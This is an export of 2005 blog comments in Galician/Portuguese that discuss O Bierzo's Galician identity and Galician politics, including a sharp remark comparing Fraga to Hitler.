----- COMMENT: AUTHOR: ocorral [Membro] DATE: Fri, 29 Jul 2005 18:12:08 +0000 URL:E bom, conhecer que O Berço é Galiza, e que isto nom é umha cousa de uns tolos nestes tempos, se nom que gente mais lúcida berçiana leva-o assumindo desde fai nóm só décadas, se nom desde sempre.
Graçinhas Igor, por ista nova
Non che digo que non será este mes de agosto. Nunca se sabe por onde o levarán a un os pasos.
Que sexa para ben o cambio.
Apertas.
----- COMMENT: AUTHOR: Pero Meogo [Visitante] DATE: Mon, 04 Jul 2005 17:01:56 +0000 URL:Fraga foi um caso único no mundo, é como se na Alemanha se tivesse conseguido a democrácia sem guerra (um suposto), e Hitler fosse encumado a Presidente da República de Alemanha inteirinho, ele com as suas “ideias".
A Galiza que conhezo tem a faculdade de deprimir o meu cerebro.
----- COMMENT: AUTHOR: Edu [Visitante] DATE: Thu, 30 Jun 2005 11:11:37 +0000 URL: http://www.luagris.netai, igor! cada día lembro eu a simancas… pero non lle teño tanto medo aos tránsfugas da pasta como aos da política… paco sería feliz se algo así ocorrese, penso.
pánico… espero que logo chegue a sesión de investidura, polo ben da nosa saúde mental.
Seria melhor um termo próprio, e seguro que existíu. Olhar a Sarmiento. Bom, é o meu jeito de entender o conto
Corral
-----